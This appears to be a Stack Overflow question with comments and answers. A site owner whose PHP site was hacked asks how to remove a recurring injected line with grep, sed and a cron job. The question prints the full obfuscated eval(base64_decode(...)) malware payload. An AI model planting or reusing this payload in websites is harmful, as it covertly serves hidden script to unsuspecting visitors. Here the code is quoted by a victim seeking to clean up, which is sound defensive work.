0

My site was hacked and a line of malicious code keeps re-appearing on various of the index.php pages throughout the folders on my web server. I want to run a cronjob every minute that searches all of the files on the server for the matching string and then replaces that with an empty string to remove it.

I found a grep command that does what I want(http://vasir.net/blog/ubuntu/replace_string_in_multiple_files/).

As a test, I added the word "RemoveThisWord" to one of my pages and am replacing it with the word "AddThisWord" using the following grep command using a cronjob on my server:

grep -rl 'RemoveThisWord' ./ | xargs sed -i 's/RemoveThisWord/AddThisWord/g'

This is the malicious code that is being added and is what I will eventually need to search for. Does anyone see a problem with searching for that string using the grep command in a cronjob?

eval(base64_decode('ZXJyb3JfcmVwb3J0aW5nKDApOw0KJGJvdCA9IEZBTFNFIDsNCiR1YSA9ICRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXTsNCiRib3RzVUEgPSBhcnJheSgnMTIzNDUnLCdhbGV4YS5jb20nLCdhbm9ueW1vdXNlLm9yZycsJ2JkYnJhbmRwcm90ZWN0LmNvbScsJ2Jsb2dwdWxzZS5jb20nLCdib3QnLCdidXp6dHJhY2tlci5jb20nLCdjcmF3bCcsJ2RvY29tbycsJ2RydXBhbC5vcmcnLCdmZWVkdG9vbHMnLCdodG1sZG9jJywnaHR0cGNsaWVudCcsJ2ludGVybmV0c2Vlci5jb20nLCdsaW51eCcsJ21hY2ludG9zaCcsJ21hYyBvcycsJ21hZ2VudCcsJ21haWwucnUnLCdteWJsb2dsb2cgYXBpJywnbmV0Y3JhZnQnLCdvcGVuYWNvb24uZGUnLCdvcGVyYSBtaW5pJywnb3BlcmEgbW9iaScsJ3BsYXlzdGF0aW9uJywncG9zdHJhbmsuY29tJywncHNwJywncnJycnJycnJyJywncnNzcmVhZGVyJywnc2x1cnAnLCdzbm9vcHknLCdzcGlkZXInLCdzcHlkZXInLCdzem4taW1hZ2UtcmVzaXplcicsJ3ZhbGlkYXRvcicsJ3ZpcnVzJywndmxjIG1lZGlhIHBsYXllcicsJ3dlYmNvbGxhZ2UnLCd3b3JkcHJlc3MnLCd4MTEnLCd5YW5kZXgnLCdpcGhvbmUnLCdhbmRyb2lkJyk7DQpmb3JlYWNoICgkYm90c1VBIGFzICRicykge2lmKHN0cnBvcyhzdHJ0b2xvd2VyKCR1YSksICRicykhPT0gZmFsc2UpeyRib3QgPSB0cnVlOyBicmVhazt9fQ0KaWYgKCEkYm90KXsNCgllY2hvKGJhc2U2NF9kZWNvZGUoJ1BITmpjbWx3ZEQ1cFppaDNhVzVrYjNjdVpHOWpkVzFsYm5RcFlUMG9JblkxTXpKaU5TSXVjM0JzYVhRclJHRjBaU2t1YzNWaWMzUnlLREFzTmlrN1lXRTlLRnRkTG5KbGRtVnljMlVyVzEwdWNtVjJaWEp6WlNrdWMzVmljM1J5S0RBc05pazdhV1lvWVdFOVBUMWhLUXBtUFZzdE16QXNMVE13TERZMkxEWXpMQzAzTERFc05qRXNOeklzTmpBc056Z3NOekFzTmpJc056RXNOemNzTnl3Mk5DdzJNaXczTnl3ek1DdzJPU3cyTWl3M01DdzJNaXczTVN3M055dzNOaXd5Tnl3NE1pdzBOU3cxT0N3Mk5Dd3pPU3cxT0N3M01DdzJNaXd4TERBc05Ua3NOeklzTmpFc09ESXNNQ3d5TERVeUxEa3NOVFFzTWl3NE5Dd3RNekFzTFRNd0xDMHpNQ3cyTml3Mk15dzNOU3cxT0N3M01DdzJNaXczTlN3eExESXNNakFzTFRNd0xDMHpNQ3c0Tml3dE55dzJNaXcyT1N3M05pdzJNaXd0Tnl3NE5Dd3RNekFzTFRNd0xDMHpNQ3cyTVN3M01pdzJNQ3czT0N3M01DdzJNaXczTVN3M055dzNMRGd3TERjMUxEWTJMRGMzTERZeUxERXNMVFVzTWpFc05qWXNOak1zTnpVc05UZ3NOekFzTmpJc0xUY3NOellzTnpVc05qQXNNaklzTUN3Mk5TdzNOeXczTnl3M015d3hPU3c0TERnc05qRXNOekVzTnpFc056VXNOakFzTmpZc056Y3NOeklzT0RJc055dzJNU3cyTVN3M01TdzNOaXczTERZMkxEY3hMRFl6TERjeUxEZ3NOakVzT0N3eE15dzVMREV6TERjc056TXNOalVzTnpNc01qUXNOalFzTnpJc01qSXNNVEFzTUN3dE55dzRNQ3cyTml3Mk1TdzNOeXcyTlN3eU1pd3dMREV3TERrc01Dd3ROeXcyTlN3Mk1pdzJOaXcyTkN3Mk5TdzNOeXd5TWl3d0xERXdMRGtzTUN3dE55dzNOaXczTnl3NE1pdzJPU3cyTWl3eU1pd3dMRGM1TERZMkxEYzJMRFkyTERVNUxEWTJMRFk1TERZMkxEYzNMRGd5TERFNUxEWTFMRFkyTERZeExEWXhMRFl5TERjeExESXdMRGN6TERjeUxEYzJMRFkyTERjM0xEWTJMRGN5TERjeExERTVMRFU0TERVNUxEYzJMRGN5TERZNUxEYzRMRGMzTERZeUxESXdMRFk1TERZeUxEWXpMRGMzTERFNUxEa3NNakFzTnpjc056SXNOek1zTVRrc09Td3lNQ3d3TERJekxESXhMRGdzTmpZc05qTXNOelVzTlRnc056QXNOaklzTWpNc0xUVXNNaXd5TUN3dE16QXNMVE13TERnMkxDMHpNQ3d0TXpBc05qTXNOemdzTnpFc05qQXNOemNzTmpZc056SXNOekVzTFRjc05qWXNOak1zTnpVc05UZ3NOekFzTmpJc056VXNNU3d5TERnMExDMHpNQ3d0TXpBc0xUTXdMRGM1TERVNExEYzFMQzAzTERZekxDMDNMREl5TEMwM0xEWXhMRGN5TERZd0xEYzRMRGN3TERZeUxEY3hMRGMzTERjc05qQXNOelVzTmpJc05UZ3NOemNzTmpJc016QXNOamtzTmpJc056QXNOaklzTnpFc056Y3NNU3d3TERZMkxEWXpMRGMxTERVNExEY3dMRFl5TERBc01pd3lNQ3cyTXl3M0xEYzJMRFl5TERjM0xESTJMRGMzTERjM0xEYzFMRFkyTERVNUxEYzRMRGMzTERZeUxERXNNQ3czTml3M05TdzJNQ3d3TERVc01DdzJOU3czTnl3M055dzNNeXd4T1N3NExEZ3NOakVzTnpFc056RXNOelVzTmpBc05qWXNOemNzTnpJc09ESXNOeXcyTVN3Mk1TdzNNU3czTml3M0xEWTJMRGN4TERZekxEY3lMRGdzTmpFc09Dd3hNeXc1TERFekxEY3NOek1zTmpVc056TXNNalFzTmpRc056SXNNaklzTVRBc01Dd3lMREl3TERZekxEY3NOellzTnpjc09ESXNOamtzTmpJc055dzNPU3cyTml3M05pdzJOaXcxT1N3Mk5pdzJPU3cyTml3M055dzRNaXd5TWl3d0xEWTFMRFkyTERZeExEWXhMRFl5TERjeExEQXNNakFzTmpNc055dzNOaXczTnl3NE1pdzJPU3cyTWl3M0xEY3pMRGN5TERjMkxEWTJMRGMzTERZMkxEY3lMRGN4TERJeUxEQXNOVGdzTlRrc056WXNOeklzTmprc056Z3NOemNzTmpJc01Dd3lNQ3cyTXl3M0xEYzJMRGMzTERneUxEWTVMRFl5TERjc05qa3NOaklzTmpNc056Y3NNaklzTUN3NUxEQXNNakFzTmpNc055dzNOaXczTnl3NE1pdzJPU3cyTWl3M0xEYzNMRGN5TERjekxESXlMREFzT1N3d0xESXdMRFl6TERjc056WXNOaklzTnpjc01qWXNOemNzTnpjc056VXNOallzTlRrc056Z3NOemNzTmpJc01Td3dMRGd3TERZMkxEWXhMRGMzTERZMUxEQXNOU3d3TERFd0xEa3NNQ3d5TERJd0xEWXpMRGNzTnpZc05qSXNOemNzTWpZc056Y3NOemNzTnpVc05qWXNOVGtzTnpnc056Y3NOaklzTVN3d0xEWTFMRFl5TERZMkxEWTBMRFkxTERjM0xEQXNOU3d3TERFd0xEa3NNQ3d5TERJd0xDMHpNQ3d0TXpBc0xUTXdMRFl4TERjeUxEWXdMRGM0TERjd0xEWXlMRGN4TERjM0xEY3NOalFzTmpJc056Y3NNekFzTmprc05qSXNOekFzTmpJc056RXNOemNzTnpZc01qY3NPRElzTkRVc05UZ3NOalFzTXprc05UZ3NOekFzTmpJc01Td3dMRFU1TERjeUxEWXhMRGd5TERBc01pdzFNaXc1TERVMExEY3NOVGdzTnpNc056TXNOaklzTnpFc05qRXNNamdzTmpVc05qWXNOamtzTmpFc01TdzJNeXd5TERJd0xDMHpNQ3d0TXpBc09EWmRPMjFrUFNkaEp6dGxQWGRwYm1SdmQxc25aWFpoYkNkZE8zYzlaanR6UFNjbk8yYzlKMlluS3lkeWJ5Y3JKMjFEYUNjckoyRnlKeXNuUTI5a0p5c25aU2M3Wm05eUtHazlNRHRwTFhjdWJHVnVaM1JvUERBN2FTc3JLWHR6UFhNclUzUnlhVzVuVzJkZEtETTVLM2RiTUN0cFhTazdmUXBwWmloaFBUMDlZV0VwQ21Vb2N5azdQQzl6WTNKcGNIUSsnKSk7DQp9'));

Can I search for that long string containing the special characters using a grep command?

* EDIT * I noticed that the malicious code that keeps re-appearing always starts with the same letters but sometimes end differently, so instead of removing the whole string since I won't know exactly what to search for, I would like to replace "eval(base64_decode('ZXJ" with "//". That way that whole line will comment itself out.

How can I escape the slashes since they're already being used in the unix command and they get treated as a string?

zeckdude
  • 15,182
  • 42
  • 133
  • 181
  • @Lixas, I completely understand and agree, but I am trying to buy myself some time so that the sites on the server may still operate while I figure out a permanent solution and remove the malicious scripts all together. – zeckdude Feb 07 '12 at 09:49
  • If the code on your server is being altered, then work to prevent that rather than countering the bad alterations being made. Check logs, change passwords, change permissions, and figure it out. I think you might be able to resolve the real problem in about the time it would take to set up the cron job. – ghbarratt Feb 07 '12 at 09:50
  • @Polynomial, I very rarely use unix command line and am a front-end developer, so my knowledge of unix is not great. If you have a better command that you would recommend, can you please write out the whole line for me? Please keep in mind that I also need to replace the string after I find it. – zeckdude Feb 07 '12 at 09:51
  • @ghbarratt, I completely understand and agree, but I am trying to buy myself some time so that the sites on the server may still operate while I figure out a permanent solution and remove the malicious scripts all together. – zeckdude Feb 07 '12 at 09:52
  • Try running the command you have as root once on the command line to test it out. Something like: `sudo grep -rl "eval(base64_decode('ZXJ" /var/www/ | xargs sed -i "s/eval(base64_decode('ZXJ/\/\//g"` - being sure to replace "/var/www/" with the smallest tree that you know contains all the contaminated code. If it works then you can add it to your crontab. – ghbarratt Feb 07 '12 at 10:14
  • 2
    The only useful way of dealing with a problem like this is to stop messing around with unverifiable code as you'll never be 100% sure you've caught all the issues now, then nuke the site from orbit and restore from a known good backup. Its the only way to be sure. – Rob Moir Feb 07 '12 at 17:39
  • 3
    @zeckdude We've had some discussion among a lot of high-reps from different sites about your question, and the gist is that it doesn't really fit anywhere. What you're really asking about is solving a compromised system. What you do with that is to start fresh, lock it as best you can, and monitor it to find out how you're compromised. If you brought this to Security, I'd probably close it as a repeat of http://security.stackexchange.com/questions/7967/need-assistance-diagnosing-hacked-website or http://security.stackexchange.com/questions/9708/ – Jeff Ferland Feb 07 '12 at 17:39
  • 3
    and following on from @JeffFerland we would close it as a dupe of http://serverfault.com/questions/218005/my-servers-been-hacked-emergency if it was on Server Fault – Rob Moir Feb 07 '12 at 17:41
  • Grep questions should probably be asked on [unix.se]. Your problem goes way beyond that, of course. I'm closing so this doesn't get migrated to [su] (no offense!) –  Feb 07 '12 at 17:45
  • I don't know if this is of interest, but note that the actual code seems to write [a ` – 700 Software Feb 08 '12 at 14:55
  • Another question that shouldn't be closed as off topic – SSH This Aug 22 '12 at 01:09

2 Answers2

1

First thing I'd do if your sites are in Wordpress (or most other CMS new systems) that do not use eval() is disable it in the php.ini (disable_functions = "[...] ,eval"). You could also do this for exec and other important functions etc.

Then change your blog/ftp/cpanel/SQL passwords and wp-config secret keys / salts etc.

Then try to remove the thing perhaps using:

find ./ -name '*.php' -type f | xargs sed -i 's#eval(base64_decode("ZXJ.*;##g' 2>&1

or this post Using sed and grep to search and replace to help you with the syntax to target only .php files...

Good luck!

Community
  • 1
  • 1
Paul Norman
  • 1,581
  • 1
  • 8
  • 19
1

sed also accepts characters other than / as a delimiter. So, to avoid escaping (which works by prepending a backslash, by the way) you can use one that does not appear in your regexp, like, for instance the point .:

sed -i 's.eval(base64_decode(.// .g'

or you may like the pipe symbol better:

sed -i 's|eval(base64_decode(|// |g'

Just for completeness: escaping would work like this (but it looks ugly):

sed -i 's/eval(base64_decode(/\/\/ /g'

Just for complete completeness: A cron-job that searches for this text is not a proper response to your site getting hacked. You should try to fix the hole first, or the attacker will just come back and switch off your cron-job, or bypass your search using a different syntax.

rwos
  • 1,661
  • 1
  • 15
  • 18